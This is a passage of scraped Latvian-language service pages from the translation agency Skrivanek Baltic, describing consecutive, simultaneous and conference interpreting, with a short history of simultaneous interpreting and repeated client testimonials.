https://skrivanek.lv/kvalitate-un-drosiba/en-iso-9001-kvalitates-vadibas-sistemas-sertifikats/ - Translation Priorities: Optional EN ISO 9001:2015 KVALITEEDIJUHTIMISSÜSTEEM --- > Secīgās tulkošanas pakalpojumi 40+ valodās dažādos darba un sadzīves notikumos. Vietējie un ārvalstu tulki. Sazinieties ar mums! 👆️ - Published: 2017-10-22 - Modified: 2025-06-03 - URL: https://skrivanek.lv/pakalpojumi/mutiskie-tulkojumi/seciga-konsekutiva-tulkosana/ - Translation Priorities: Optional KAS IR SECĪGĀ JEB KONSEKUTĪVĀ TULKOŠANA UN KAS IR JĀZINA PAR ŠO PAKALPOJUMA VEIDU? Tulkošana pēc runātāja, kad tulks noklausās vienā valodā teikto un to iztulko otrā valodā. Tulks sēž kopā ar sanāksmes dalībniekiem, klausās runu un pēc tam, galvenokārt pamatojoties uz veiktajām piezīmēm, tulko teikto citā valodā. Ir izšķirama divu veidu secīgā tulkošana – īsā un garā. Īsā nozīmē, ka tulkošana notiek teikumu pa teikumam, tie visbiežāk ir divi trīs teikumi, kas tiek praktizēts visbiežāk lietišķās sarunās, īslaicīgās vizītēs, muzejā u. c. Tomēr praksē aizvien biežāk tiek izmantota garā runa (no 5–10 līdz pat 20 minūtēm), respektīvi – fragmentu tulkošana. Mūsdienu pasaulē secīgā tulkošana bieži vien tiek aizstāta ar sinhrono tulkošanu. Tomēr tā joprojām tiek izmantota dažādās sanāksmēs (piemēram, tehniskās sanāksmēs, darba pusdienās, mazās grupās, izbraukumos). Labi, profesionāli tulki ir spējīgi ar lielu precizitāti tulkot pat garas runas. LABS SECĪGĀS TULKOŠANAS SNIEGUMS IR: saturisks un precīzs vēsts/jēgas „pārlikums” mērķvalodā; lojāls tulkojums, ņemot vērā saturu un tonalitāti; ātrs, raits stāstījums mierīgā, nesatrauktā, stabilā plūdumā; nepārprotams un elegants tulkojums; tulkojot ir labs kontakts ar runātāju un klausītāju. CIK TULKI IR NEPIECIEŠAMI PASĀKUMĀ? Izmantojamo valodu skaits Minimālais tulku skaits* No divām valodām divās valodās 2 No trim valodām trīs valodās 3 * Izņēmuma gadījumos, ņemot vērā kvalitātes un veselības aizsardzības principus, divu tulku vietā var nodarbināt tikai vienu tulku, vai trīs tulku vietā tikai divus tulkus. POPULĀRĀKĀS VALODU KOMBINĀCIJAS, KURĀS VISBIEŽĀK NODROŠINĀM SECĪGĀS TULKOŠANAS PAKALPOJUMUS: latviešu–angļu–latviešu; igauņu–angļu–igauņu; lietuviešu–angļu–lietuviešu; krievu–angļu–krievu; zviedru–latviešu–zviedru, spāņu–latviešu–spāņu, itāļu–latviešu–itāļu, krievu– latviešu–krievu u. c. Kvalitātes un konfidencialitātes garantija, ko apstiprina ISO sertifikātiMūsu projektu vadītāji runā latviešu, krievu, angļu, vācu un poļu valodā99% klientu saņem cenas piedāvājumu mazāk nekā 15 minūtēsVairāk nekā 3000 valodas speciālistu un dzimtās valodas runātājuVairāk nekā 98% klientu mūs labprāt ieteiktu saviem draugiem un partneriemMūsu birojā katru gadu tiek iztulkoti vairāk nekā 16 miljoni vārdu NEPIECIEŠAMS MUTISKAIS TULKOJUMS VAI KONSULTĀCIJA? Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Pasūtītājs *PrivātpersonaUzņēmums Vārds un uzvārds *Tālrunis Pievienot Noņemt Vārds un uzvārds *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt Papildu informācijaKā par mums uzzinājātKā par mums uzzinājātEsmu Skrivanek klientsGoogle meklētājsDrauga/paziņas ieteikumsFacebookTwitterLinkedInInstagramVides reklāmaIzstādeReklāma drukātajos medijosCitsNospiežot pogu "Nosūtīt", jūs piekrītat personas datu apstrādei saskaņā ar Skrivanek Baltic Privātuma politiku. Nosūtīt Vai piesakieties tiešsaistes konsultācijai par secīgo tulkošanu jau tūlīt! KO PAR MUMS SAKA MŪSU KLIENTI? Valsts ieņēmumu dienests Skrivanek Baltic darbinieki ir atsaucīgi un pretimnākoši, un tulkojumu pieprasījumi tiek apstrādāti ātri un kvalitatīvi, veiksmīgi aptverot specifisko Valsts ieņēmumu dienesta terminoloģiju, gan tulkojot juridiskus tekstus, gan nodokļu un muitas terminoloģiju.  Valsts sociālās apdrošināšanas aģentūra Starptautisko pakalpojumu nodaļas Pensiju daļa Skrivanek Baltic sevi ir pierādījis kā profesionāls, uzticams un kvalitatīvs sadarbības partneris, jo tulkojumi tiek veikti profesionālā kvalitātē, lietojot nozares specifisko terminoloģiju.  Latvijas Tirdzniecības un rūpniecības kamera Līga Sičeva, Eiropas Savienības projektu daļas vadītāja Sadarbības laikā SIA Skrivanek Baltic sevi ir pierādījis kā atbildīgs sadarbības partneris, kas ievēro klienta vēlmes, tulkojumus veic augstā profesionālā kvalitātē, ievērojot nozares terminoloģiju, konfidencialitāti un noteiktos darbu izpildes termiņus.  Jazz Communications Mēs ar Skrivanek Baltic sadarbojamies jau vairākus gadus. Lielākoties izmantojam rakstiskos tulkojumus latviešu, krievu un angļu valodās, bet ir nācies izmantot arī retākas valodas – arābu, igauņu u. c. Tāpat regulāri izmantojam latviešu tekstu literāro redaktoru, korektoru un “copywrite” pakalpojumus. Sadarbība ir lieliska, projektu vadītāji (kontaktpersonas) ātri, atsaucīgi, konstruktīvi. Cenu politika saprotama, atklāta un pieņemama.  Latvijas Republikas Prokuratūra Administratīvā direktora dienests Skrivanek Baltic sevi ir pierādījis kā profesionāls, uzticams un kvalitatīvs sadarbības partneris. Savstarpējās sadarbības laikā nav bijušas nekādas pretenzijas par Skrivanek Baltic darbību, visi darba jautājumi tiek risināti operatīvi un ar savstarpēju sapratni.  Izglītības un zinātnes ministrija E. Severs, Valsts sekretāra vietnieks – Sporta departamenta direktors, valsts sekretāra pienākumu izpildītājs Sadarbību ar SIA Skrivanek Baltic vērtējam kā ļoti sekmīgu, jo uzņēmumam ir atbilstoša pieredze un kvalificēti darbinieki, kas spēj nodrošināt pasūtījuma izpildi atbilstoši Pasūtītāja prasībām. Tulki veica darbu kvalitatīvi un ar lielu atbildības sajūtu. Īpaši novērtējām tulku atsaucību un daudzveidīgo profesionālo pieredzi, sadalot tulku pārus pa nozaru sekcijām. Sekciju darba sinhronā tulkošana prasīja ne tikai pastiprinātu uzmanību, bet arī specifiskas un aktuālas terminoloģijas zināšanas.  Rīgas dome Pilsētas attīstības departaments Abpusējo sadarbību vērtējam kā pozitīvu, uzticamu, ļoti pretimnākošu un organizatoriskā ziņā teicami īstenotu. Līdzšinējā sadarbība bijusi patīkama un veiksmīga, jo īpaši vēlētos uzteikt atsaucīgos un laipnos kompānijas darbiniekus.  --- > Sinhronā tulkošana konferencēs, sanāksmēs u. c. pasākumos vairāk nekā 40 valodās. Sinhronās tulkošanas tehnikas noma. 25+ gadu pieredze. - Published: 2017-10-22 - Modified: 2024-07-18 - URL: https://skrivanek.lv/pakalpojumi/mutiskie-tulkojumi/sinhrona-tulkosana/ - Translation Priorities: Optional KAS IR SINHRONĀ TULKOŠANA? Sinhronā tulkošana ir pats sarežģītākais tulkošanas veids. Tulkiem ir ļoti daudz jātrenējas un jāpilnveido savas zināšanas un prasmes, lai varētu pilnvērtīgi strādāt par sinhrono tulku. Sinhronajam tulkam vienlaikus ir jātiek galā ar vairākiem uzdevumiem – paralēli tulkošanai tulks jau prātā klausās un piemeklē tulkojumu runātāja nākamajam teikumam, tas prasa ļoti lielu garīgo un fizisko koncentrēšanos. To visu turklāt sarežģī tas apstāklis, ka valodas atšķiras daudzos un dažādos veidos. Papildus tādām atšķirībām kā leksika un sintakse, valodas atšķiras arī atkarībā no tā, kā tajās tiek strukturēta informācija, piemēram, tulkojot teikumu no krievu valodas latviešu valodā, nereti vārdi teikumā ir jātulko no beigām uz sākumu. Tulkiem, kuri ikdienā veic sinhrono tulkošanu, ir regulāri visa mūža garumā jāpilnveido savas valodas un tulkošanas prasmes. Mūsdienās starptautisko pasākumu skaits dažādās pasaules daļās rada lielu pieprasījumu pēc sinhronajiem tulkiem. Viņu prasmju izmantošana ir viena no labākajām metodēm, kā nodot savu vēstījumu daudzvalodu auditorijai. Ar pieredzējuša sinhronā tulka palīdzību uzņēmumu īpašnieki var slēgt darījumus, izmantojot tulka izcilās valodas zināšanas biznesa prezentācijas laikā. Ir pat iespējams nodrošināt sava biznesa panākumus, izmantojot sinhrono tulku kā daļu no sava stratēģiskā biznesa plāna. Sinhronā tulkošana ir saziņas process pāri valodas un kultūras barjerām. Augsti apmācīti profesionāli tulki spēj klausīties vienā valodā un vienlaikus runāt citā, nododot ne tikai vārdus, bet arī valodas nianses, piemēram, emocijas un idiomas, kā arī tulkojamā ziņojuma kopējo būtību. Šī tulkošanas joma prasa tulkus, kuriem ir augsta līmeņa izglītība un pieredze šo metožu izmantošanā, kā arī prasmes izmantot specializētu aprīkojumu. POPULĀRĀKĀS VALODU KOMBINĀCIJAS, KURĀS VISBIEŽĀK NODROŠINĀM SINHRONĀS TULKOŠANAS PAKALPOJUMUS: latviešu–angļu–latviešu; igauņu–angļu–igauņu; lietuviešu–angļu–lietuviešu; krievu–angļu–krievu; zviedru–latviešu–zviedru; spāņu–latviešu–spāņu; itāļu–latviešu–itāļu; krievu–latviešu–krievu; latviešu–ukraiņu–latviešu; latviešu–dāņu–latviešu; latviešu–vācu–latviešu; angļu–krievu–angļu. c. Kvalitātes un konfidencialitātes garantija, ko apstiprina ISO sertifikātiMūsu projektu vadītāji runā latviešu, krievu, angļu, vācu un poļu valodā99% klientu saņem cenas piedāvājumu mazāk nekā 15 minūtēsVairāk nekā 3000 valodas speciālistu un dzimtās valodas runātājuVairāk nekā 98% klientu mūs labprāt ieteiktu saviem draugiem un partneriemMūsu birojā katru gadu tiek iztulkoti vairāk nekā 16 miljoni vārdu Nepieciešams mutiskais tulkojums vai konsultācija? Sazinieties ar mums! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Pasūtītājs *PrivātpersonaUzņēmums Vārds un uzvārds *Tālrunis Pievienot Noņemt Vārds un uzvārds *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt Papildu informācijaKā par mums uzzinājātKā par mums uzzinājātEsmu Skrivanek klientsGoogle meklētājsDrauga/paziņas ieteikumsFacebookTwitterLinkedInInstagramVides reklāmaIzstādeReklāma drukātajos medijosCitsNospiežot pogu "Nosūtīt", jūs piekrītat personas datu apstrādei saskaņā ar Skrivanek Baltic Privātuma politiku. Nosūtīt Vai piesakieties tiešsaistes konsultācijai par sinhrono tulkošanu jau tūlīt! CIK SAREŽĢĪTA IR SINHRONĀ TULKOŠANA? No visa plašā valodu pakalpojumu klāsta sinhronā tulkošana no tulka prasa vislielāko atdevi. Tulkam ir jābūt ar izcilām valodu zināšanām un brīvi jāpārvalda vismaz divas valodas, vēlams trīs. Turklāt viņam jābūt fiziski un emocionāli noturīgam. It īpaši, ja sanāksme vai konference ir gara un tajā piedalās daudzi runātāji. Būt sinhronajam tulkam nozīmē pareizi interpretēt teikto, vienlaikus ievērojot mērķa valodā esošās valodas nianses. Pati tulkošanas vide jau var radīt stresu. Ir jāstrādā pārī ar otru sinhrono tulku. Neviens no tulkiem nevar izmantot vārdnīcu, lai meklētu nepazīstamas frāzes vai terminus, nereti paši runātāji runā ļoti ātri un neskaidri, tulkiem netiek dots laiks iepazīties ar prezentācijām, tādēļ tas viss ir pietiekams iemesls, kādēļ sinhronie tulki nereti strādā pastiprinātas spriedzes apstākļos un ātri profesionāli izdeg. Tulkam ir jābūt pilnībā pārliecinātam par savām runas prasmēm. Tāpat sinhronā tulka darbs prasa, lai tulks būtu arī prasmīgs improvizācijā. KĀ NOTIEK SINHRONĀ TULKOŠANA? Sinhronajā tulkošanā tulks runātāja teikto tulko ar aptuveni 30 sekunžu laika nobīdi. Kamēr pasākuma runātājs visbiežāk atrodas uz skatuves publikas priekšām, tulki atrodas skaņu necaurlaidīgā kabīnē, bet sanāksmes vai konferences dalībnieki klausās tulkojumu, izmantojot austiņas. Tā kā sinhronā tulkošana ir fiziski un emocionāli ļoti intensīvs darbs, tad parasti vienlaicīgi strādā vismaz divi sinhronie tulki, kas viens otru nomaina ik pēc aptuveni 20−30 minūtēm. Tāpat sinhronajiem tulkiem ir jāprot lietot sinhronās tulkošanas aprīkojumu. SINHRONĀS TULKOŠANAS PRIEKŠROCĪBAS Palīdz taupīt pasākumam atvēlēto laiku. Sinhronajā tulkošanā pats tulkošanas process notiek reālajā laikā. Atšķirībā no secīgās tulkošanas, runātājs neapstājas un negaida, kamēr tulks iztulkos pateikto runas daļu. Runātājs var brīvi turpināt runāt, kamēr tulks veic runas tulkošanu no tulku kabīnes. Sinhronās tulkošanas forma runātājam palīdz fokusēties uz auditoriju un savu runu, nepārtraucot savu runu pēc katra teikuma. Sinhronā tulkošana ļauj izvairīties no laikietilpīga uzdevuma tulkot dokumentus un runātāju runas valodās, kurās runā visi pasākuma dalībnieki, jo īpaši, ja tas ir augsta līmeņa starptautisks pasākums, kurā piedalās klausītāji no visas Eiropas vai pasaules. Runu ir iespējams vienlaikus tulkot tik valodās, cik vien tas ir nepieciešams. Dalībnieki izvēlas sev vēlamo valodu, mainot austiņu kanālu. SINHRONĀS TULKOŠANAS VEIDI Sinhronā tulkošana parasti ir divu veidu – čukstus tulkošana un tulkošana no tulku kabīnes. Čukstus tulkojumā sinhronais tulks stāv vai sēž kopā ar personu/-ām un pasākuma runātāja teikto tulko pa tiešo pie auss. Mutiskā tulkošana čukstus ir pareizā izvēle, ja pasākumā piedalās tikai daži cilvēki, kuriem ir nepieciešams tulka pakalpojums, un viņi sēž vai stāv cieši blakus. Tā labi darbojas nelielās grupās vai divpusējās sanāksmēs, kurās dalībnieki nerunā vienā valodā. Tas ietaupa vairāk laika nekā secīgā tulkošana. Ir reizes, kad skaņas skaidrībai var izmantot arī austiņas. Šajā gadījumā tulki un klausītāji izmanto pārnēsājamo sinhronās tulkošanas aprīkojumu. Tas ietver pārnēsājamos raidītājus ar mikrofoniem un uztvērējus ar austiņām. Šāds aprīkojums ir piemērots gadījumiem, ja pasākuma dalībniekiem ir jāpārvietojas, piemēram, rūpnīcas apmeklējumu vai muzeju ekskursiju laikā. Lielām konferencēm un pasākumiem ir nepieciešama sinhronās tulkošanas kabīne. Tas nodrošina tulkiem pilnīgu izolētību un klusumu tulkošanas sesijas laikā. Tāpēc kabīnēm ir jābūt skaņu izolētām un pietiekami lielām, lai tajās ietilptu galds, kā arī būtu ērti strādāt diviem vai vairākiem tulkiem. SINHRONĀS TULKOŠANAS VĒSTURE Sinhronā tulkošana ir arī viens no jaunākajiem tulkošanas veidiem, kas parādījās tikai pagājušā gadsimta 20. gados. Sinhronās tulkošanas izgudrojuma autors ir amerikāņu uzņēmējs Edvards Filens. Agrākās sinhronās tulkošanas iekārtas − mikrofonus, austiņas un komutācijas iekārtas, ražoja uzņēmums IBM. PSRS sinhronā tulkošana pirmo reizi tika izmantota 1928. gadā 6. Kominternes kongresā. ASV prezidenta Eizenhauera tulks Leons Dosterts bija pionieris sinhronās tulkošanas tehnoloģijas attīstībā. 1946. gadā viņš organizēja tehnikas demonstrāciju Apvienoto Nāciju Organizācijas sanāksmē. Šī jaunā pieeja kļuva plaši populāra tās efektivitātes dēļ. Vēlāk visas Apvienoto Nāciju Organizācijas struktūrvienības pārgāja no secīgās tulkošanas uz sinhrono tulkošanu. Drošības padome ir vienīgā Apvienoto Nāciju Organizācijas struktūrvienība, kurā tiek izmantota gan secīgā, gan sinhronā tulkošana. Šodien Skrivanek ir viens no Apvienoto Nāciju Organizācijas sinhronās tulkošanas pakalpojuma sniedzējiem, kur ikdienā nodrošinām tulkojumus uz un no angļu, franču, spāņu, krievu, arābu un ķīniešu valodu. Patiesi īstā vajadzība pēc sinhronās tulkošanas kļuva acīmredzama Nirnbergas tiesas procesa laikā 1945. –1946. gadā, kad vienlaicīgi tika izmantota angļu, franču, krievu un vācu valoda. Šajā procesā franču izcelsmes amerikāņu valodu zinātnieks Leons Dosterts, tolaik ģenerāļa Eizenhauera tulks, bija atbildīgs par noturīgu jauninājumu ieviešanu mutiskajā tulkošanā, proti, Nirnbergas tiesas procesā izmantoto tā dēvēto austiņu metodi, ko joprojām izmanto visās augsta līmeņa starptautiskās sanāksmēs un starptautiskās institūcijās, piemēram, Eiropas Padomē, Eiropas Komisijā un Eiropas Parlamentā. Nirnbergas process ir svarīgs sinhronās tulkošanas vēsturē, jo šī bija pirmā reize, kad to veiksmīgi izmantoja tik nopietna pasākuma tulkošanā. Nirnbergas tiesas procesa laikā visas interpretācijas un tulkojumus pārraudzīja pulkvedis Leons Dosterts. Katrā no četrām pārstāvētajām valodām bija sešu tulku, divpadsmit tulkotāju un deviņu stenogrāfu komanda, kas visi strādāja kopā kā viena komanda, lai nodrošinātu precīzu tiesas procesa interpretāciju un tulkošanu. Tika izmantota tulkošanas metode, kad tulks sēdēja tieši blakus apsūdzētajai personai, kas tika tiesāta, lai varētu tulkot visu, kas tika teikts tiesas procesā. Tulki tika sadalīti vairākās komandās. Kamēr viena komanda tulkoja 45 minūtes, otra komanda sēdēja blakus telpā un klausījās procesu, lai būtu informēta par notiekošo procesu un sagatavojušies savai tulkošanas kārtai. Toreiz sinhronā tulkošana bija pavisam jauns tulkošanas veids, un netika piedāvāti nekādi kursi vai apmācības, lai izglītotu tulkus par tulkošanas specifiku, kas viņus sagaida starptautiskas tiesas procesā. Neskatoties uz pieredzes trūkumu sinhronās tulkošanas pakalpojumu nodrošināšanā, tika nodrošināti precīzi un profesionāli tulkošanas pakalpojumi Nirnbergas prāvas laikā. Šī bija pirmā veiksmīgā sinhronās tulkošanas pieredze pasaules mēroga notikumā. SINHRONĀS TULKOŠANAS TEHNISKĀ NODROŠINĀJUMA UN IEKĀRTU IZGUDROŠANA Sinhronās tulkošanas iekārtas tiek izmantotas tikai aptuveni 80 gadus, proti, 20. gadsimta 20. un 30. gados amerikāņu uzņēmējs Edvards Filens un britu inženieris Alans Gordons Finlejs izstrādāja sistēmu, kas palīdz sinhronās tulkošanas procesā. Viņi izmantoja telefona aprīkojumu savam sākotnējam dizainam, un vēlāk viņu metode kļuva pazīstama kā telefoniskā tulkošana. Šī ierīce bija paredzēta pievienošanai tālruņa raidītājam, lai samazinātu troksni un palielinātu privātumu. Ideja bija revolucionāra, taču tai bija nepieciešama turpmāka attīstība, un tā lika IBM dibinātājam Tomasam Vatsonam iesaistīties sinhronās tulkošanas iekārtu izstrādē. Līdz 1926. gadam iekārtas patents tika piešķirts IBM, un to sauca par IBM Hushaphone Filene-Findlay System. Sinhronās tulkošanas tehnoloģija bija radīta, taču bija kāds trūkstošais elements, kas ļautu izmantot jauno tehnoloģiju profesionālā vidē, un tad radās ideja par skaņas izolācijas kabīni. Skaņas necaurlaidīgā kabīne tika izgatavota no stikla. Šīs kabīnes nebija pilnībā skaņas necaurlaidīgas, un tikai gandrīz divas desmitgades vēlāk parādījās pilnībā skaņu necaurlaidīgas kabīnes. Tās tika uzstādītas Apvienoto Nāciju Organizācijā Ņujorkā, ļaujot tulkiem runāt normālā skaļumā, nebaidoties, ka viņi traucē pasākuma dalībniekus. LABS SINHRONĀS TULKOŠANAS SNIEGUMS IR: saturiski precīzas vēsts „pārlikums” mērķvalodā; lojāls tulkojums, ņemot vērā saturu un tonalitāti; mierīgs, nesatraukts, stabils runas plūdums; tajā nav burtisku vārdu „pārcēlumu”; tajā ir uzturēts kontakts ar runātāju un klausītāju; tam raksturīga spontanitāte. Sinhronās tulkošanas pamatā ir klausīšanās, saprašana, analīze un pārformulācija.  KO PAR MUMS SAKA MŪSU KLIENTI? Valsts ieņēmumu dienests Skrivanek Baltic darbinieki ir atsaucīgi un pretimnākoši, un tulkojumu pieprasījumi tiek apstrādāti ātri un kvalitatīvi, veiksmīgi aptverot specifisko Valsts ieņēmumu dienesta terminoloģiju, gan tulkojot juridiskus tekstus, gan nodokļu un muitas terminoloģiju.  Valsts sociālās apdrošināšanas aģentūra Starptautisko pakalpojumu nodaļas Pensiju daļa Skrivanek Baltic sevi ir pierādījis kā profesionāls, uzticams un kvalitatīvs sadarbības partneris, jo tulkojumi tiek veikti profesionālā kvalitātē, lietojot nozares specifisko terminoloģiju.  Latvijas Tirdzniecības un rūpniecības kamera Līga Sičeva, Eiropas Savienības projektu daļas vadītāja Sadarbības laikā SIA Skrivanek Baltic sevi ir pierādījis kā atbildīgs sadarbības partneris, kas ievēro klienta vēlmes, tulkojumus veic augstā profesionālā kvalitātē, ievērojot nozares terminoloģiju, konfidencialitāti un noteiktos darbu izpildes termiņus.  Jazz Communications Mēs ar Skrivanek Baltic sadarbojamies jau vairākus gadus. Lielākoties izmantojam rakstiskos tulkojumus latviešu, krievu un angļu valodās, bet ir nācies izmantot arī retākas valodas – arābu, igauņu u. c. Tāpat regulāri izmantojam latviešu tekstu literāro redaktoru, korektoru un “copywrite” pakalpojumus. Sadarbība ir lieliska, projektu vadītāji (kontaktpersonas) ātri, atsaucīgi, konstruktīvi. Cenu politika saprotama, atklāta un pieņemama.  Latvijas Republikas Prokuratūra Administratīvā direktora dienests Skrivanek Baltic sevi ir pierādījis kā profesionāls, uzticams un kvalitatīvs sadarbības partneris. Savstarpējās sadarbības laikā nav bijušas nekādas pretenzijas par Skrivanek Baltic darbību, visi darba jautājumi tiek risināti operatīvi un ar savstarpēju sapratni.  Izglītības un zinātnes ministrija E. Severs, Valsts sekretāra vietnieks – Sporta departamenta direktors, valsts sekretāra pienākumu izpildītājs Sadarbību ar SIA Skrivanek Baltic vērtējam kā ļoti sekmīgu, jo uzņēmumam ir atbilstoša pieredze un kvalificēti darbinieki, kas spēj nodrošināt pasūtījuma izpildi atbilstoši Pasūtītāja prasībām. Tulki veica darbu kvalitatīvi un ar lielu atbildības sajūtu. Īpaši novērtējām tulku atsaucību un daudzveidīgo profesionālo pieredzi, sadalot tulku pārus pa nozaru sekcijām. Sekciju darba sinhronā tulkošana prasīja ne tikai pastiprinātu uzmanību, bet arī specifiskas un aktuālas terminoloģijas zināšanas.  Rīgas dome Pilsētas attīstības departaments Abpusējo sadarbību vērtējam kā pozitīvu, uzticamu, ļoti pretimnākošu un organizatoriskā ziņā teicami īstenotu. Līdzšinējā sadarbība bijusi patīkama un veiksmīga, jo īpaši vēlētos uzteikt atsaucīgos un laipnos kompānijas darbiniekus.  TIRGŪ JAU VAIRĀK NEKĀ 25 GADUS! Mums ir plaša pieredze tekstu tulkošanā par dažādām tēmām. 0+ Valodu dažādās kombinācijās 0+ milj. Iztulkotu vārdu 2022. gadā 0+ Valodu speciālistu 0 ISO sertifikāti --- > Profesionāls tulkojums ir konferences produktivitātes atslēga! Konferenču tulkošana un organizēšana. 25+ gadu pieredze. Sazinieties ar mums! - Published: 2017-10-22 - Modified: 2024-07-18 - URL: https://skrivanek.lv/pakalpojumi/mutiskie-tulkojumi/konferencu-tulkosana/ - Translation Priorities: Optional Konferences tulkošana ir saistīta tikai un vienīgi ar mutvārdu komunikāciju: dabiski un tekoši pārtulkojot runātāja teikto no vienas valodas citā, pielāgojot tulkojumu un nododot runātāja intonāciju un pārliecību citai personai. Starptautiskas konferences apmeklē cilvēki no dažādām kultūrām ar atšķirīgu valodu zināšanu līmeni un runā dažādās valodās. Tulkotāja darbs ir padarīt cilvēku saziņu iespējamu, nevis tulkojot katru vārdu, ko viņi pasaka, bet gan pārtulkojot to izteiktās idejas. JOMAS, KURĀS VISBIEŽĀK NODROŠINĀTI KONFERENČU TULKOJUMI: nodokļi un “ēnu” ekonomika; ES politika un pārrobežu sadarbība; būvniecība; finanses un banku darbība; informācijas tehnoloģijas; jurisprudence; lauksaimniecība; medicīna, farmācija, klīniskie pētījumi; nekustamie īpašumi; telekomunikācijas u. c. PIEDĀVĀJAM ŠĀDAS IESPĒJAS: profesionāli sinhronie tulki ar atbilstošām valodu zināšanām, kuri strādā uz maiņām pa 30 minūtēm katrs; aprīkojums, t. i. , tulkošanas kabīnes, austiņas, raidītājus un tehniskais atbalsts; palīdzība un konsultācijas katrā pasākuma organizēšanas posmā: tulkošanā, konferenču materiālu un ielūgumu maketēšanā (DTP) un drukā; konferenču iekārtu uzstādīšanā; viesnīcu rezervēšanā un viesu izmitināšanā; ēdināšanā, banketos; ekskursijās pa pilsētu utt. ; profesionālas konsultācijas par konferenču, simpoziju, kongresu un mācību organizēšanu. VALODU PĀRI, KUROS VISBIEŽĀK NODROŠINĀM TULKOJUMUS KONFERENCĒS: latviešu–angļu–latviešu; igauņu–angļu–igauņu; lietuviešu–angļu–lietuviešu; krievu–angļu–krievu; zviedru–latviešu–zviedru, spāņu–latviešu–spāņu, itāļu–latviešu–itāļu, krievu– latviešu–krievu u. c. Kvalitātes un konfidencialitātes garantija, ko apstiprina ISO sertifikātiMūsu projektu vadītāji runā latviešu, krievu, angļu, vācu un poļu valodā99% klientu saņem cenas piedāvājumu mazāk nekā 15 minūtēsVairāk nekā 3000 valodas speciālistu un dzimtās valodas runātājuVairāk nekā 98% klientu mūs labprāt ieteiktu saviem draugiem un partneriemMūsu birojā katru gadu tiek iztulkoti vairāk nekā 16 miljoni vārdu KO PAR MUMS SAKA MŪSU KLIENTI? Valsts ieņēmumu dienests Skrivanek Baltic darbinieki ir atsaucīgi un pretimnākoši, un tulkojumu pieprasījumi tiek apstrādāti ātri un kvalitatīvi, veiksmīgi aptverot specifisko Valsts ieņēmumu dienesta terminoloģiju, gan tulkojot juridiskus tekstus, gan nodokļu un muitas terminoloģiju.  Valsts sociālās apdrošināšanas aģentūra Starptautisko pakalpojumu nodaļas Pensiju daļa Skrivanek Baltic sevi ir pierādījis kā profesionāls, uzticams un kvalitatīvs sadarbības partneris, jo tulkojumi tiek veikti profesionālā kvalitātē, lietojot nozares specifisko terminoloģiju.  Latvijas Tirdzniecības un rūpniecības kamera Līga Sičeva, Eiropas Savienības projektu daļas vadītāja Sadarbības laikā SIA Skrivanek Baltic sevi ir pierādījis kā atbildīgs sadarbības partneris, kas ievēro klienta vēlmes, tulkojumus veic augstā profesionālā kvalitātē, ievērojot nozares terminoloģiju, konfidencialitāti un noteiktos darbu izpildes termiņus.  Jazz Communications Mēs ar Skrivanek Baltic sadarbojamies jau vairākus gadus. Lielākoties izmantojam rakstiskos tulkojumus latviešu, krievu un angļu valodās, bet ir nācies izmantot arī retākas valodas – arābu, igauņu u. c. Tāpat regulāri izmantojam latviešu tekstu literāro redaktoru, korektoru un “copywrite” pakalpojumus. Sadarbība ir lieliska, projektu vadītāji (kontaktpersonas) ātri, atsaucīgi, konstruktīvi. Cenu politika saprotama, atklāta un pieņemama.  Latvijas Republikas Prokuratūra Administratīvā direktora dienests Skrivanek Baltic sevi ir pierādījis kā profesionāls, uzticams un kvalitatīvs sadarbības partneris. Savstarpējās sadarbības laikā nav bijušas nekādas pretenzijas par Skrivanek Baltic darbību, visi darba jautājumi tiek risināti operatīvi un ar savstarpēju sapratni.  Izglītības un zinātnes ministrija E. Severs, Valsts sekretāra vietnieks – Sporta departamenta direktors, valsts sekretāra pienākumu izpildītājs Sadarbību ar SIA Skrivanek Baltic vērtējam kā ļoti sekmīgu, jo uzņēmumam ir atbilstoša pieredze un kvalificēti darbinieki, kas spēj nodrošināt pasūtījuma izpildi atbilstoši Pasūtītāja prasībām. Tulki veica darbu kvalitatīvi un ar lielu atbildības sajūtu. Īpaši novērtējām tulku atsaucību un daudzveidīgo profesionālo pieredzi, sadalot tulku pārus pa nozaru sekcijām. Sekciju darba sinhronā tulkošana prasīja ne tikai pastiprinātu uzmanību, bet arī specifiskas un aktuālas terminoloģijas zināšanas.  Rīgas dome Pilsētas attīstības departaments Abpusējo sadarbību vērtējam kā pozitīvu, uzticamu, ļoti pretimnākošu un organizatoriskā ziņā teicami īstenotu. Līdzšinējā sadarbība bijusi patīkama un veiksmīga, jo īpaši vēlētos uzteikt atsaucīgos un laipnos kompānijas darbiniekus.  NEPIECIEŠAMS MUTISKAIS TULKOJUMS VAI KONSULTĀCIJA? Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Pasūtītājs *PrivātpersonaUzņēmums Vārds un uzvārds *Tālrunis Pievienot Noņemt Vārds un uzvārds *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt Papildu informācijaKā par mums uzzinājātKā par mums uzzinājātEsmu Skrivanek klientsGoogle meklētājsDrauga/paziņas ieteikumsFacebookTwitterLinkedInInstagramVides reklāmaIzstādeReklāma drukātajos medijosCitsNospiežot pogu "Nosūtīt", jūs piekrītat personas datu apstrādei saskaņā ar Skrivanek Baltic Privātuma politiku. Nosūtīt Vai piesakieties tiešsaistes konsultācijai par konferenču tulkošanu jau tūlīt! KO PAR MUMS SAKA MŪSU KLIENTI? Valsts ieņēmumu dienests Skrivanek Baltic darbinieki ir atsaucīgi un pretimnākoši, un tulkojumu pieprasījumi tiek apstrādāti ātri un kvalitatīvi, veiksmīgi aptverot specifisko Valsts ieņēmumu dienesta terminoloģiju, gan tulkojot juridiskus tekstus, gan nodokļu un muitas terminoloģiju.  Valsts sociālās apdrošināšanas aģentūra Starptautisko pakalpojumu nodaļas Pensiju daļa Skrivanek Baltic sevi ir 